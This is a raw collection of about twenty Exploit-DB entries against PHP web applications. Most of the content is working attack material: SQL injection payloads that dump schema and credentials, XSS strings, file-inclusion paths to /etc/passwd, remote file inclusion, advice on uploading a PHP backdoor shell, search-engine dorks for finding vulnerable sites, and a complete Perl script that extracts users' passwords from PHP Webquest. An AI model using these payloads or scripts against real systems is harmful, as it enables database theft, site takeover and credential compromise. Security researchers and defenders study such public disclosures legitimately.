deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42585
Description: PHP Video Battle Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: PHP Video Battle Script 1.0 - SQL Injection
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://www.rocky.nu/
# Software Link: http://www.rocky.nu/product/php-video-battle/
# Demo: http://videobattle.rocky.nu/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/[SQL].html
#
# -1'+uNiOn+SeleCt++0x31,0x32,0x33,0x34,0x35,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x37+--+--+-.html
#
# http://localhost/[PATH]/videobattle.html?vote=[SQL]
# http://localhost/[PATH]/videobattle.html?draw=[SQL]
#
# Etc..
# # # # #
Exploit-DB #18156
Description: PHP video script - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-25
Author: longrifle0x

Exploit:
######################################################
# Exploit Title: php video script SQL Injection Vulnerability
# Date: 2011-25-11
# Author: longrifle0x
# Home page: www.security-research.ge
# software: PHP video script
# Download:http://www.alurian.com/php-video-script/
# Tools: SQLMAP
# Drok: Copyright � PHP Video Script powered by Prismotube All Rights Reserved
######################################################

*DESCRIPTION
Discovered a vulnerability in video_tags,

vulnerability is SQL injection.

*Exploitation*

link: http://localhost:80/tag <http://localhost/tag>

vulnerability link: http://localhost:80/tag <http://localhost/tag>'

http://localhost:80/tag'/index.php?id=1
<http://localhost/tag'/index.php?id=1> [GET][id=-1][CURRENT_USER()

http://localhost:80/tag'/index.php?id=1[GET][id=-1][SELECT(CASE
<http://localhost/tag'/index.php?id=1[GET][id=-1][SELECT(CASE> WHEN
((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y')
THEN 1 ELSE 0 END)

http://localhost:80/tag'/index.php?id=1[GET][id=-1][MID((VERSION()),1,6)
<http://localhost/tag'/index.php?id=1[GET][id=-1][MID((VERSION()),1,6)>
Exploit-DB #5703
Description: PHP Visit Counter 0.4 - 'datespan' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-31
Author: Lidloses_Auge

Exploit:
###############################################################
#
#           PHP Visit Counter <= 0.4 - SQL Injection Vulnerability
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   GPM, Free-Hack, Ciphercrew, h4ck-y0u
#      Date:                        30.05.2008
#
###############################################################
#                                                             
#      Dork:  inurl:"read.php?datespan="
#
#      Vulnerability:
#
#      1.) SQL Injection
#
#         1.1.) [Target]/read.php?action=read&cat=portal&datespan=null+group+by+null+union+select+1,2,ascii(substring(version(),1,1))/*
#
#      Notes:
#
#         Output is displayed as INT, so you've to convert it into ascii and
#         scan every single letter to get the whole name.
#         MySQL Data is stored in [Counterpath]/variables.php
#
###############################################################

# milw0rm.com [2008-05-31]
Exploit-DB #18788
Description: PHP Volunteer management 1.0.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-26
Author: G13

Exploit:
# Exploit Title: PHP Volunteer Management 'id' 1.0.2 Multiple Vulnerabilities
# Date: 04/21/12
# Author: G13
# Twitter: @g13net
# Software Site: https://sourceforge.net/projects/phpvolunteer/
# Version: 1.0.2
# Category: webapp (php)
#

##### ToC #####

0x01 Description
0x02 XSS
0x03 SQL Injection
0x04 Vendor Notification

##### 0x01 Description #####

This is a PHP Volunteer Management software. Keep track of Volunteer
hours worked and location assignments. This system is built on
PHP/MySql.

##### 0x02 XSS #####

---------------Vulnerability-------------------

The 'id' parameter on the get_hours.php page is vulnerable to XSS.  No
authentication is needed.  This is a reflective XSS vulnerability.

----------Exploit-----------------------------------

http://localhost/mods/hours/data/get_hours.php?id=[XSS]&take=10&skip=0&page=1&pageSize=10

------------PoC---------------------------

http://localhost/mods/hours/data/get_hours.php?id=%27%22%3Cscript%3Ealert%281%29;%3C/script%3E&take=10&skip=0&page=1&pageSize=10

##### 0x03 SQL Injection #####

---------------Vulnerability-------------------

The 'id' parameter on the get_hours.php page is also vulnerable to SQL
Injection.  No authentication is needed.

----------Exploit-----------------------------------

http://localhost/mods/hours/data/get_hours.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10

------------PoC---------------------------

http://localhost/mods/hours/data/get_hours.php?id=1%27%20AND%20SLEEP%285%29%20AND%20%27BDzu%27=%27BDzu&take=10&skip=0&page=1&pageSize=10

##### 0x04 Vendor Notification #####

4/21/12 - Vendor Notified
4/24/12 - Vendor reponded, OK to Disclose
Exploit-DB #18944
Description: PHP Volunteer Management System 1.0.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-05-28
Author: loneferret

Exploit:
# Title: PHP Volunteer Management System v 1.0.2 multiple SQLi Vulnerabilities
# Version: 1.0.2
# Author/Found by: loneferret
# Software Site: https://sourceforge.net/projects/phpvolunteer/
# Other vulnerabilities: http://www.exploit-db.com/exploits/18941/
  
# Date found: May 28th 2012
# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23
  
# Vulnerability:
# Due to improper sanitation, many of the parameters are injectable,
# some need to be authenticated, others not.

  
# As always have fun...

PoC:

Page: index.php
Parameter: ?p=
Method: GET
Payload: /?p=dashboard' and sleep(5) and '1'='1
Payload: /?p=login' and sleep(5) and '1'='1

Other affected parameters can be found in the message section of
the application when reading or deleting a message.

Parameter: id=
Url: /?p=read_message&id=2
Payload: /?p=read_message&id=-1' or '1'='1


Possible output:
[10:00:02] [INFO] searching database 'bf102'
[10:00:02] [INFO] the SQL query used returns 1 entries
[10:00:02] [INFO] resumed: "bf102"
found databases [1]:                                  
[*] bf102
Exploit-DB #18941
Description: PHP Volunteer Management System 1.0.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-28
Author: Ashoo

Exploit:
# Exploit Title: PHP Volunteer Management System v 1.0.2 Multiple Vulnerabilities
# Date: 05/28/12
# Author: Ashoo
# Mail: ashoo.online@gmail.com
# Software Site: https://sourceforge.net/projects/phpvolunteer/
# Version: 1.0.2
# Tested on: IIS6.0-Windows 2003



##### ToC #####

1.0 Introduction
2.0 Unrestricted File Upload
3.0 Persistent XSS



##### 1.0 Introduction #####

This is a PHP Volunteer Management software. Keep track of Volunteer
hours worked and location assignments. This system is built on
PHP/MySql.


##### 2.0 Unrestricted File Upload #####

Bug:

Upload document (personal or Shared) functionallity of application allow unrestricted file upload.
This can be abused by the attacker to upload backdoor to webserver.


PoC:

	http://192.168.6.12/?p=upload_shared_document - Shared document upload

	http://192.168.6.12/?p=upload_personal_document - personal document upload


	Upload php backdoor (r57, c99, etc) to the server.backdoor shell will be uploaded to 
	mods/documents/uploads/ directory of shell.Will provide complete control over webserver.




##### 3.0 Persistent XSS #####

Bug:

The persistent cross site scripting vulnerability exists in "add news information section"
A remote attacker with privileges can exploit this vulnerablity.
 

PoC:

	http://localhost/?p=add_news_information
 
	In "Information to Display" text box Insert the following test strings <script> alert("xss me"); </script>
	fill other entries and submit!
 
	switch to the dashboard or login page, it is getting executed :-)




#########
#Ash00!!#
#########
Exploit-DB #7451
Description: PHP weather 2.2.2 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-14
Author: ahmadbady

Exploit:
****(Lfi/xss)****

script: phpweather-2.2.2

***************************************************************************
download from:http://downloads.sourceforge.net/phpweather/phpweather-2.2.2.zip?modtime=[PII_REDACTED]&big_mirror=0
   
***************************************************************************
vul:
/test.php

line 48:
 require(PHPWEATHER_BASE_DIR . "/output/pw_text_$language.php");
   
***************************************************
xpl:
www.site.com/path/test.php?metar=()&language=[Lfi]%00
.....................................................
www.site.com/path/index.php?cc=[Lfi]
....................................................
xss:
www.site.com/path/config/make_config.php/>"><ScRiPt>alert(0)</ScRiPt>
..................................................

Author: ahmadbady from:iran

***************************************************

# milw0rm.com [2008-12-14]
Exploit-DB #32464
Description: PHP Web Explorer 0.99b - 'edit.php?File' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-06
Author: Pepelux

Exploit:
source: https://www.securityfocus.com/bid/31595/info
 
PHP Web Explorer is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files and execute local scripts within the context of the webserver process. A successful attack can allow the attacker to obtain sensitive information or gain unauthorized access to an affected computer in the context of the vulnerable server.
 
PHP Web Explorer 0.99b is vulnerable; other versions may also be affected. 

http://www.example.com/edit.php?file=../../../etc/passwd
Exploit-DB #32463
Description: PHP Web Explorer 0.99b - 'main.php?refer' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-06
Author: Pepelux

Exploit:
source: https://www.securityfocus.com/bid/31595/info

PHP Web Explorer is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to view local files and execute local scripts within the context of the webserver process. A successful attack can allow the attacker to obtain sensitive information or gain unauthorized access to an affected computer in the context of the vulnerable server.

PHP Web Explorer 0.99b is vulnerable; other versions may also be affected. 

http://www.example.com/main.php?refer=d&d=../../../etc
Exploit-DB #37656
Description: PHP Web Scripts Ad Manager Pro - 'page' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-23
Author: Corrado Liotta

Exploit:
source: https://www.securityfocus.com/bid/55189/info

PHP Web Scripts Ad Manager Pro is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

Ad Manager Pro version 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Exploit-DB #26812
Description: PHP Web Scripts Ad Manager Pro 2.0 - 'Advertiser_statistic.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15847/info

Ad Manager Pro is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/advertiser_statistic.php?action=statistic_main&ad_number=[SQL]
Exploit-DB #15790
Description: PHP Web Scripts Ad Manager Pro 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-20
Author: R4dc0re

Exploit:
# Vendor or Software Link: http://www.phpwebscripts.com/admanagerpro/
# Category:WebApp
# Version: 3
# Price: $99/$130/$325 USD
# Contact: R4dc0re@yahoo.fr
# Website: www.1337db.com
# Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members
###################################################################################################

Submit Your Exploit at Submit@1337db.com

###################################################################################################
[Product Details]

Ad Manager Pro runs on PHP and MySQL that allows you to get an indepth view including 
hourly, daily, monthly statistics with both text and graphics.
It allows you to use jpg, png, gif and swf format in your rotations and even plan text/html. 
Code: PHP 4.0 

[Vulnerability] 

SQL Injection:

http://server/website-page.php?pageId=[Code]
###################################################################################################
Exploit-DB #28737
Description: PHP Web Scripts Easy Banner - 'functions.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-02
Author: abu ahmed

Exploit:
source: https://www.securityfocus.com/bid/20295/info

Easy Banner is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Easy Banner Free is vulnerable; other versions may also be affected.

http://www.example.com/[ path ]/functions.php?s[phppath]=[shell
Exploit-DB #37674
Description: PHP Web Scripts Text Exchange Pro - 'page' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-24
Author: Yakir Wizman

Exploit:
source: https://www.securityfocus.com/bid/55205/info

PHP Web Scripts Text Exchange Pro is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. 

http://www.example.com/textexchangepro/index.php?page=../../../../../../../../../../etc/passwd%00
Exploit-DB #26636
Description: PHP Web Statistik 1.4 - Content Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: Francesco Ongaro

Exploit:
source: https://www.securityfocus.com/bid/15603/info

PHP Web Statistik is prone to multiple content injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. The vulnerabilities could allow for HTML injection and cross-site scripting attacks.

An attacker may leverage these issues to have arbitrary script and HTML code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials, and also exploit these issues to control how the site is rendered to the user. 

Examples for cross-site scripting and HTML injection attacks have been provided:

http://www.example.com/stat.php?lastnumber=urlencoded%20text

curl -A Opera http://www.example.com/stat/pixel.php -e
?<a href=http://www.example.com>go-google</a>?

curl -A Opera http://www.example.com/stat/pixel.php -e
?<script>alert(123123);</script>?
Exploit-DB #31458
Description: PHP Webcam Video Conference - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-02-06
Author: vinicius777

Exploit:
# Exploit: PHP Webcam Video Conference - LFI/XSS
# Date: 06/02/2014
# Exploit Author: vinicius777
# Contact: vinicius777 [AT] gmail / @vinicius777_
# Vendor Homepage: http://www.videowhisper.com/
# Software Link: http://sourceforge.net/projects/phpwebcamvideoconference
# Solution: Upgrade from to the new version on videowhisper vendor homepage.




[1] Local File Include - rtmp_login.php

P0C: http://192.168.1.7/vc_php/rtmp_login.php?s=../../../../../etc/passwd

[+] rtmp_rlogin.php

$session = $_GET['s']; 

$filename1 = "uploads/_sessions/$session"; 
if (file_exists($filename1)) 
{ 
echo implode('', file($filename1)); 
} 
else 
{ 
echo "VideoWhisper=1&login=0"; 
} 
?>


[2] XSS Reflected 

P0C = http://192.168.1.7/vc_php/vc_logout.php?message=[XSS]
Exploit-DB #4867
Description: PHP Webquest 2.6 - 'id_actividad' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-08
Author: ka0x

Exploit:
#!/usr/bin/perl

# PHP Webquest 2.6 Remote SQL Injection Exploit
# coded by ka0x - D.O.M TEAM 2008
# we are: ka0x, an0de, xarnuz

# download spanish: download: http://phpwebquest.org/descargas/phpwebquest-2.6-espanol.zip
# download english: http://phpwebquest.org/descargas/phpwebquest-2.6-international.zip

# vuln in soporte_horizontal_w.php:

# if ($_GET['id_actividad']!=''){ $id_actividad=$_GET['id_actividad']; }
# $sentencia= "SELECT * FROM actividad WHERE id_actividad=".$id_actividad;

# ka0x@domlabs:~# perl phpwebquest.pl http://127.0.0.1/webquest/
#
# [+] connecting in http://127.0.0.1/webquest/...
# [!] user: ka0x  [!] pass: test [!] e-mail: test@test.com

use strict;
use LWP::UserAgent;

my $host = $ARGV[0];
if ($host !~ /^http:/){ $host = 'http://'.$host; }

 if(!$ARGV[0]) {
    print "\n[x] PHP Webquest 2.6 Remote SQL Injection exploit\n";
    print "[x] written by ka0x - ka0x01[at]gmail.com\n";
    print "[x] usage: perl $0 [host]\n";
    print "[x] example: http://host.com/PHPWebquest\n";
    exit(1);
 }
 
    print "\n[+] connecting in $host...\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($host."/soporte_horizontal_w.php?id_actividad=-1/**/union/**/select/**/1,1,1,1,concat(0x5f5f5f5f,0x5b215d[PII_REDACTED]3a20,usuario,0x20205b215d[PII_REDACTED]3a20,password,0x205b215d20652d6d61696c3a20,e_mail,0x5f5f5f5f)/**/from/**/usuario/*");
    if ($go->content =~ m/____(.*?)____/ms) {
        print "$1\n";
    } else {
        print "\n[-] exploit failed\n";
}

# milw0rm.com [2008-01-08]
Exploit-DB #4872
Description: PHP Webquest 2.6 - Get Database Credentials
Type: webapps
Platform: php
Date: 2008-01-09
Author: MhZ91

Exploit:
--==+================================================================================+==--
--==+		          PHP Webquest 2.6 Get Database's Credential	             +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: PHP Webquest 2.6 Get Database's Credential
 Download: http://phpwebquest.org/descargas/phpwebquest-2.6-international.zip
 Bug: Get Database's Credential 
 Info: PHP Webquest is a free educational software developed in order to help those teachers who want to create their own activities without the need of wrtitng any HTML code or uploading files to a web server. If you want to install it at your schoolâ€™s server, please click on the image of the International Version.
 Dork: "PHP WEBQUEST VERSION " or inurl:"/phpwebquest/" 
 Visit: http://www.inj3ct-it.org


[*]----------------------------------------------------------

Poc: 

The exploit work only if the function system(); is enabled on the server.. because it return a message whit the db credentials..
We can get the file of the backup, and it return this:

<H1>Error ejecutando comando: /usr/bin/mysqldump -u xxx --password=xxx1 --opt xx2</H1>

Where xxx is the mysql login, xxx1 the password and xx2 the name of database.

[*]----------------------------------------------------------

Exploit:

http://[www.example.com]/admin/backup_phpwebquest.php

[*]----------------------------------------------------------

# milw0rm.com [2008-01-09]
Exploit-DB #23013
Description: PHP Website 0.7.3/0.8.2/0.8.3/0.9.2 Calendar Module - SQL Injection
Type: webapps
Platform: php
Date: 2003-08-11
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8390/info

Multiple SQL injection vulnerabilities have been reported in PHP Website. These issue may be exploited by sending a malicious request to the calendar script. Possible consequencs of exploitation include compromise of the site and disclosure of sensitive information.

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=day&year=2003%00-1&month=

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=month&month=11&year=2003%20and%20startDate%20%3c%3d%[PII_REDACTED]%29%20or%
20%28%20endDate%20%3e%3d031101%20and%20endDate%20%3c%3d%[PII_REDACTED]%29%
29%20and%20active%3d1